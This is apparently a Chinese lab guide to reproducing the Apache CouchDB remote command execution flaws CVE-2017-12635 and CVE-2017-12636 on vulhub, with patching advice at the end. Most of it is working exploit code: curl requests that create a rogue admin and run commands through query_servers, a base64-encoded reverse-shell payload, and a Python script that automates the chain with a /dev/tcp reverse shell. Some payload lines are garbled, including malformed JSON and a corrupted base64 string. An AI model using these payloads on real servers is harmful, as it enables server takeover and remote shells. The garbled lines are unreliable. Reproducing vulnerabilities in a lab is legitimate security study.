Couchdb 任意命令执行漏洞复现
字数 932 2025-08-15 21:32:58

Apache CouchDB 任意命令执行漏洞(CVE-2017-12636)复现指南

漏洞概述

Apache CouchDB是一个开源的NoSQL数据库,专注于易用性和成为"完全拥抱web的数据库"。该漏洞允许攻击者通过config API修改CouchDB的配置query_server,从而在服务器上执行任意命令。

影响版本

  • 小于1.7.0的所有版本
  • 小于2.1.1的所有版本

漏洞原理

  1. CVE-2017-12635:由于Erlang和JavaScript对JSON解析方式的不同,导致非管理员用户可提升自身权限至管理员
  2. CVE-2017-12636:管理员可通过HTTP(S)方式配置数据库,设置可执行文件的路径,在数据库运行范围内执行任意命令

环境搭建

使用vulhub的docker镜像搭建测试环境:

docker-compose up -d

启动后访问http://your-ip:5984/可看到CouchDB欢迎页面。

漏洞复现步骤

1.6.0版本利用

  1. 创建管理员用户(若不知道管理员密码):
curl -X PUT 'http://your-ip:5984/_users/org.couchdb.user:vulhub' \
-d '{"type":"user","name":"vulhub","roles":["_admin"],"roles":[],"password":"vulhub"}' \
-H 'Content-Type:application/json'
  1. 执行漏洞利用
# 1. 添加query_server配置,设置要执行的命令
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/_config/query_servers/cmd' -d '"id >/tmp/success"'

# 2. 创建临时数据库和文档
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest'
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'

# 3. 触发命令执行
curl -X POST 'http://vulhub:vulhub@your-ip:5984/vultest/_temp_view?limit=10' \
-d '{"language":"cmd","map":""}' \
-H 'Content-Type:application/json'

2.1.0版本利用

  1. 获取节点名称
curl http://vulhub:vulhub@your-ip:5984/_membership
  1. 修改节点配置
curl -X PUT http://vulhub:vulhub@your-ip:5984/_node/nonode@nohost/_config/query_servers/cmd -d '"id >/tmp/success"'
  1. 创建数据库和文档
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest'
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
  1. 创建视图触发命令执行
curl -X PUT http://vulhub:vulhub@your-ip:5984/vultest/_design/vul \
-d '{"_id":"_design/test","views":{"wooyun":{"map"language":"cmd"}}' \
-H "Content-Type: application/json"

高级利用技巧

反弹Shell

直接反弹Shell可能失败,建议使用Base64编码:

  1. 创建包含以下内容的shell_re.txt文件:
"bash -c '{echo,c2ggLWkgPiYgL2Rld*i4xODAvODg0MyAwPiYx}|{base64,-d}|{bash,-i}'"
  1. 执行命令:
curl -X PUT 'http://vulhub:vulhub@X.X.X.X:5985/_config/query_servers/cmd' -d '@shell_re.txt'
curl -X POST 'http://vulhub:vulhub@X.X.X.X:5985/vultest/_temp_view?limit=10' \
-d '{"language":"cmd","map":""}' \
-H 'Content-Type:application/json'

使用Cookie认证

可以不使用账号密码,直接使用Cookie认证:

curl -X PUT 'http://192.168.199.181:5984/_config/query_servers/cmd' \
-d '"python /tmp/back.py"' \
-H "Cookie: AuthSession=YWRtaW46NTc5QTRGMjc6VKTKwNEud9fFchzR-HtOrjM5Cg4"

自动化利用脚本

#!/usr/bin/env python3
import requests
import json
import base64
from requests.auth import HTTPBasicAuth

target = 'http://your-ip:5984'
command = rb"""sh -i >& /dev/tcp/10.0.0.1/443 0>&1"""
version = 1

session = requests.session()
session.headers = {
    'Content-Type': 'application/json'
}
session.put(target + '/_users/org.couchdb.user:wooyun', data='''{
    "type": "user",
    "name": "wooyun",
    "roles": ["_admin"],
    "roles": [],
    "password": "wooyun"
}''')
session.auth = HTTPBasicAuth('wooyun', 'wooyun')

command = "bash -c '{echo,%s}|{base64,-d}|{bash,-i}'" % base64.b64encode(command).decode()
if version == 1:
    session.put(target + ('/_config/query_servers/cmd'), data=json.dumps(command))
else:
    host = session.get(target + '/_membership').json()['all_nodes'][0]
    session.put(target + '/_node/{}/_config/query_servers/cmd'.format(host), data=json.dumps(command))

session.put(target + '/wooyun')
session.put(target + '/wooyun/test', data='{"_id": "wooyuntest"}')

if version == 1:
    session.post(target + '/wooyun/_temp_view?limit=10', data='{"language":"cmd","map":""}')
else:
    session.put(target + '/wooyun/_design/test', data='{"_id":"_design/test","views":{"wooyun":{"map":"","language":"cmd"}}}')

修复建议

  1. 升级到CouchDB 1.7.0或2.1.1及以上版本
  2. 限制访问CouchDB的5984端口,仅允许可信IP访问
  3. 使用强密码保护管理员账户
  4. 定期检查数据库配置,特别是query_servers相关配置

参考链接

  1. http://bobao.360.cn/learning/detail/4716.html
  2. https://justi.cz/security/2017/11/14/couchdb-rce-npm.html
  3. https://vulhub.org/#/environments/couchdb/CVE-2017-12636/
  4. https://github.com/vulhub/vulhub
Apache CouchDB 任意命令执行漏洞(CVE-2017-12636)复现指南 漏洞概述 Apache CouchDB是一个开源的NoSQL数据库,专注于易用性和成为"完全拥抱web的数据库"。该漏洞允许攻击者通过config API修改CouchDB的配置 query_server ,从而在服务器上执行任意命令。 影响版本 : 小于1.7.0的所有版本 小于2.1.1的所有版本 漏洞原理 : CVE-2017-12635:由于Erlang和JavaScript对JSON解析方式的不同,导致非管理员用户可提升自身权限至管理员 CVE-2017-12636:管理员可通过HTTP(S)方式配置数据库,设置可执行文件的路径,在数据库运行范围内执行任意命令 环境搭建 使用vulhub的docker镜像搭建测试环境: 启动后访问 http://your-ip:5984/ 可看到CouchDB欢迎页面。 漏洞复现步骤 1.6.0版本利用 创建管理员用户 (若不知道管理员密码): 执行漏洞利用 : 2.1.0版本利用 获取节点名称 : 修改节点配置 : 创建数据库和文档 : 创建视图触发命令执行 : 高级利用技巧 反弹Shell 直接反弹Shell可能失败,建议使用Base64编码: 创建包含以下内容的 shell_re.txt 文件: 执行命令: 使用Cookie认证 可以不使用账号密码,直接使用Cookie认证: 自动化利用脚本 修复建议 升级到CouchDB 1.7.0或2.1.1及以上版本 限制访问CouchDB的5984端口,仅允许可信IP访问 使用强密码保护管理员账户 定期检查数据库配置,特别是 query_servers 相关配置 参考链接 http://bobao.360.cn/learning/detail/4716.html https://justi.cz/security/2017/11/14/couchdb-rce-npm.html https://vulhub.org/#/environments/couchdb/CVE-2017-12636/ https://github.com/vulhub/vulhub